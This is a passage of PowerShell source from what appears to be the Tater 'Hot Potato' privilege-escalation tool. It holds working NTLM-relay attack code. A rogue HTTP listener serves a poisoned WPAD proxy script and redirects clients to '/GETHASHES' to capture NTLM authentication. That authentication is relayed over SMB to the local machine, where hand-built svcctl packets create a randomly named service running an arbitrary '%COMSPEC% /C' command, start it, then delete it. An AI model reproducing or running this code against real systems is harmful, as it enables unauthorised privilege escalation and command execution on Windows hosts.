                + $SMB_blob_length`
                + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
                + $SMB_byte_count`
                + $HTTP_request_bytes`
                + (0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)`
                + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00)

            $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length)
        	$SMB_relay_response_stream.Flush()

            $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length)
            
            $tater.SMB_relay_active_step = 2
            
            $j++
        
        }
        return $SMB_relay_response_bytes
    }
}

# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session
$SMB_relay_execute_scriptblock =
{
    Function SMBRelayExecute
    {
        param ($SMB_relay_socket,$SMB_user_ID)
    
        if ($SMB_relay_socket)
        {
            $SMB_relay_execute_stream = $SMB_relay_socket.GetStream()
        }

        $SMB_relay_failed = $false
        $SMB_relay_execute_bytes = New-Object System.Byte[] 1024
        $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
        $SMB_service = $SMB_service_random -replace "-00",""
        $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1)
        $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)
        $SMB_service_random += '00-00-00'
        [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
        $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $Command = "%COMSPEC% /C `"" + $Command + "`""
        [System.Text.Encoding]::ASCII.GetBytes($Command) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }

        if([bool]($Command.length%2))
        {
            $SMB_relay_command += '00-00'
        }
        else
        {
            $SMB_relay_command += '00-00-00-00'
        }    
        
        [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
        $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237)
        $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
        $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63)
        $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1]   
        $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2)

        $k = 0

        :SMB_relay_execute_loop while ($k -lt 12)
        {
            switch ($k)
            {
            
                0 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)`
                        + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00)
                }
                  
                1 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)`
                        + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00)
                }
                
                2 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)`
                        + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
                        + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)`
                        + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00)
                        
                        $SMB_multiplex_id = (0x05)
                }
               
                3 { 
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                4 {
                    [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)`
                        + (0x00,0x00,0x00,0x5c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)`
                        + (0x00,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00)
                        
                        $SMB_multiplex_id = (0x07)
                }
                
                5 {  
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                6 {
                    [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)`
                        + $SMB_service_data_length_bytes`
                        + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x3f,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x05,0x00,0x00,0x03,0x10)`
                        + (0x00,0x00,0x00)`
                        + $SMB_service_byte_count_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00)`
                        + $SMB_context_handler`
                        + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00)`
                        + $SMB_referent_ID_bytes`
                        + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)`
                        + $SMB_service_bytes`
                        + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + $SMB_relay_command_length_bytes`
                        + (0x00,0x00,0x00,0x00)`
                        + $SMB_relay_command_length_bytes`
                        + $SMB_relay_command_bytes`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
                        
                        $SMB_multiplex_id = (0x09)
                }

                7 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }

                
                8 {
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)`
                        + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)`
                        + $SMB_context_handler`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)
                }
                
                9 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
                
                10 { 
                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                        + $tater.process_ID_bytes`
                        + $SMB_user_ID`
                        + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)`
                        + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)`
                        + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)`
                        + $SMB_context_handler
                }
                11 {
                    [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
                }
            }
            
            $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length)
            $SMB_relay_execute_stream.Flush()
            
            if ($k -eq 5) 
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)
                $SMB_context_handler = $SMB_relay_execute_bytes[88..107]

                if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00'))
                {
                    #$tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")
                }
                elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00')
                {
                    $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")
                    $SMB_relay_failed = $true
                }
                else
                {
                    $SMB_relay_failed = $true
                }

            }
            elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11))
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)

                switch($k)
                {
                    7 {
                        $SMB_context_handler = $SMB_relay_execute_bytes[92..111]
                        $SMB_relay_execute_error_message = "Service creation fault context mismatch"
                    }
                    11 {
                        $SMB_relay_execute_error_message = "Service start fault context mismatch"
                    }
                    13 {
                        $SMB_relay_execute_error_message = "Service deletion fault context mismatch"
                    }
                }
                
                if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00')
                {
                    $SMB_relay_failed = $true
                }

                if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c')
                {
                    $tater.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget")
                    $SMB_relay_failed = $true
                }
            }        
            else
            {
                $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length)    
            }
            
            if((!$SMB_relay_failed) -and ($k -eq 7))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget")
            }
            elseif((!$SMB_relay_failed) -and ($k -eq 9))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Command likely executed on $SMBRelayTarget")
                $tater.SMB_relay = $false
            }
            elseif((!$SMB_relay_failed) -and ($k -eq 11))
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")
                }   
            
            [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
                + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
                + $tater.process_ID_bytes`
                + $SMB_user_ID`
                + $SMB_multiplex_ID`
                + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58,0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00)
            
            if($SMB_relay_failed)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget")
                BREAK SMB_relay_execute_loop
            }

            $k++
        }
        
        $tater.SMB_relay_active_step = 0
        
        $SMB_relay_socket.Close()

        if(!$SMB_relay_failed)
        {
            $tater.SMBRelay_success = $True
        }
    }
}

# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
$HTTP_scriptblock = 
{ 
    param ($Command,$HTTPPort,$WPADDirectHosts,$WPADPort)

    Function NTLMChallengeBase64
    {

        $HTTP_timestamp = Get-Date
        $HTTP_timestamp = $HTTP_timestamp.ToFileTime()
        $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
        $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}

        [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0xc2,0x89,0xa2)`
            + $HTTP_challenge_bytes`
            + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)`
            + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)`
            + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)`
            + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)`
            + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)`
            + $HTTP_timestamp`
            + (0x00,0x00,0x00,0x00,0x0a,0x0a)

        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
        $NTLM = 'NTLM ' + $NTLM_challenge_base64
        $NTLM_challenge = $HTTP_challenge

        Return $NTLM

    }

    $SMBRelayTarget = "127.0.0.1"

    $HTTP_port_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTPPort)
    
    $WPADDirectHosts += "localhost"

    $HTTP_content_length = $WPADPort.length + 62

    foreach($WPAD_direct_host in $WPADDirectHosts)
    {
        $HTTP_content_length += $WPAD_direct_host.length + 43
        $HTTP_content_length_bytes = [System.Text.Encoding]::ASCII.GetBytes($HTTP_content_length)
        $WPAD_direct_host_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPAD_direct_host)
        $WPAD_direct_host_function_bytes = (0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49,0x73,0x28,0x68,0x6f,0x73,0x74,0x2c,0x20,0x22)`
            + $WPAD_direct_host_bytes`
            +(0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49,0x52,0x45,0x43,0x54,0x22,0x3b)
        $WPAD_direct_hosts_bytes += $WPAD_direct_host_function_bytes
    }

    $WPAD_port_bytes = [System.Text.Encoding]::ASCII.GetBytes($WPADPort)
    
    :HTTP_listener_loop while ($tater.running)
    {
        if($tater.SMBRelay_success)
        {
            HTTPListenerStop
        }

        $TCP_request = $NULL
        $TCP_request_bytes = New-Object System.Byte[] 1024

        $suppress_waiting_message = $false

        while(!$tater.HTTP_listener.Pending() -and !$tater.HTTP_client.Connected)
        {
            if(!$suppress_waiting_message)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection")
                $suppress_waiting_message = $true
            }
            Start-Sleep -s 1

            if($tater.SMBRelay_success)
            {
                HTTPListenerStop
            }
        }

        if(!$tater.HTTP_client.Connected)
        {
            $tater.HTTP_client = $tater.HTTP_listener.AcceptTcpClient() # will block here until connection 
	        $HTTP_stream = $tater.HTTP_client.GetStream() 
        }

        while ($HTTP_stream.DataAvailable)
        {
            $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length)
        }

        $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes)

        if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*")
        {
            $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3)
            $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
            $tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length)
        
            if($tater.request_RawUrl -eq "")
            {
                $tater.request_RawUrl = "/"
            }
        }

        if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*")
        {
            $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46)
            $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-"))
            $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
            $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length)
        }
        else
        {
            $authentication_header =  ''
        }

        $HTTP_type = "HTTP"

        $HTTP_request_type = ""
        
        if ($tater.request_RawUrl -match '/wpad.dat')
        {
            $tater.response_StatusCode = (0x32,0x30,0x30)
            $HTTP_response_phrase = (0x4f,0x4b)
            $HTTP_WPAD_response = (0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x46,0x69,0x6e,0x64,0x50,0x72,0x6f,0x78,0x79,0x46,0x6f,0x72,0x55,0x52,0x4c,0x28)`
                + (0x75,0x72,0x6c,0x2c,0x68,0x6f,0x73,0x74,0x29,0x7b)`
                + $WPAD_direct_hosts_bytes`
                + (0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x50,0x52,0x4f,0x58,0x59,0x20,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a)`
                + $WPAD_port_bytes`
                + (0x22,0x3b,0x7d)

            $NTLM = ''
            $HTTP_request_type = "WPAD"
        }
        elseif ($tater.request_RawUrl -eq '/GETHASHES')
        {
            $tater.response_StatusCode = (0x34,0x30,0x31)
            $HTTP_response_phrase = (0x4f,0x4b)
            $NTLM = 'NTLM'
            $HTTP_request_type = "NTLM"
        }
        else
        {
            $tater.response_StatusCode = (0x33,0x30,0x32)
            $HTTP_location = (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a,0x43,0x6f)`
                + (0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73)`
                + (0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a)`
                + (0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a,0x4c,0x6f,0x63,0x61,0x74,0x69)`
                + (0x6f,0x6e,0x3a,0x20,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74,0x3a)`
                + $HTTP_port_bytes`
                + (0x2f,0x47,0x45,0x54,0x48,0x41,0x53,0x48,0x45,0x53,0x0d,0x0a)

            $HTTP_response_phrase = (0x4f,0x4b)
            $NTLM = ''
            $HTTP_request_type = "Redirect"

            if($tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle)
            {
                $tater.console_queue.add("$(Get-Date -format 's') - Attempting to redirect to http://localhost:$HTTPPort/gethashes and trigger relay")
            }
        }

        if(($tater.request_RawUrl_old -ne $tater.request_RawUrl -and $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) -or $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle)
        {
            $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $tater.request_RawUrl + " received from " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
        }

        if($authentication_header.startswith('NTLM '))
        {
            $authentication_header = $authentication_header -replace 'NTLM ',''
            [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header)
            $tater.response_StatusCode = (0x34,0x30,0x31)
            $HTTP_response_phrase = (0x4f,0x4b)
            
            if ($HTTP_request_bytes[8] -eq 1)
            {

                if($tater.SMB_relay -and $tater.SMB_relay_active_step -eq 0)
                {
                    $tater.SMB_relay_active_step = 1
                    $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
                    $tater.console_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from $SMBRelayTarget")
                    $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient
                    $SMB_relay_socket.connect($SMBRelayTarget,"445")
                    
                    if(!$SMB_relay_socket.connected)
                    {
                        $tater.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")
                        $tater.SMB_relay_active_step = 0
                    }
                    
                    if($tater.SMB_relay_active_step -eq 1)
                    {
                        $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes
                        $tater.SMB_relay_active_step = 2
                        $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length]
                        $SMB_user_ID = $SMB_relay_bytes[34..33]
                        $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes)
                        $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-",""
                        $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000")
                        $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2
                        $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes
                        $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)]
                        $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes
                        $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)]
                        $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)]
                        $SMB_reserved = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 32)..($SMB_relay_NTLMSSP_bytes_index + 39)]
                        $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)]
                    
                        [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00)`
                            + $SMB_domain_length_offset_bytes`
                            + (0x05,0xc2,0x89,0xa2)`
                            + $SMB_relay_NTLM_challenge`
                            + $SMB_reserved`
                            + $SMB_target_length_offset_bytes`
                            + $SMB_relay_target_details
                    
                        $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)
                        $NTLM = 'NTLM ' + $NTLM_challenge_base64
                        $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes
                        $tater.HTTP_challenge_queue.Add($tater.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $tater.HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge)
                        $tater.console_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")
                        $tater.console_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $tater.HTTP_client.Client.RemoteEndpoint.Address)
                        $tater.SMB_relay_active_step = 3
                    }
                    else
                    {
                        $NTLM = NTLMChallengeBase64
                    }
                }
                else
                {
                     $NTLM = NTLMChallengeBase64
                }
                
                $tater.response_StatusCode = (0x34,0x30,0x31)
                $HTTP_response_phrase = (0x4f,0x4b)
                
            }
            elseif ($HTTP_request_bytes[8] -eq 3)
            {
                $NTLM = 'NTLM'
                $HTTP_NTLM_offset = $HTTP_request_bytes[24]
                $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes
                $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes
                $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes
                       
                if($HTTP_NTLM_domain_length -eq 0)
                {
                    $HTTP_NTLM_domain_string = ''
                }
                else
                {  
                    $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
                }

                $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes
                $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes

                if ([System.BitConverter]::ToString($HTTP_request_bytes[16]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[24]) -eq '58' -and [System.BitConverter]::ToString($HTTP_request_bytes[32]) -eq '58')
                {
                    $HTTP_NTLM_user_string = ''
                    $HTTP_NTLM_host_string = ''
                }
                else
                {
                    $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes
